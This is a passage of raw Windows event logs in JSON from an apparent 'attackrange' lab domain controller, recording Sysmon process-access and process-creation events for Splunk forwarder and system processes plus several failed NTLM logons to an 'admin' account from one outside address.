C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.922","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221495,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60478\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60478","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221496,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60562\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60562","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221497,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60617\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60617","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.583\r\nProcessGuid: {90617006-3FEB-5F2D-0000-001073680300}\r\nProcessId: 3724\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.583","ProcessGuid":"{90617006-3FEB-5F2D-0000-001073680300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEB-5F2D-0000-001073680300}\r\nTargetProcessId: 3724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEB-5F2D-0000-001073680300}","TargetProcessId":"3724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEB-5F2D-0000-001073680300}\r\nTargetProcessId: 3724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEB-5F2D-0000-001073680300}","TargetProcessId":"3724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 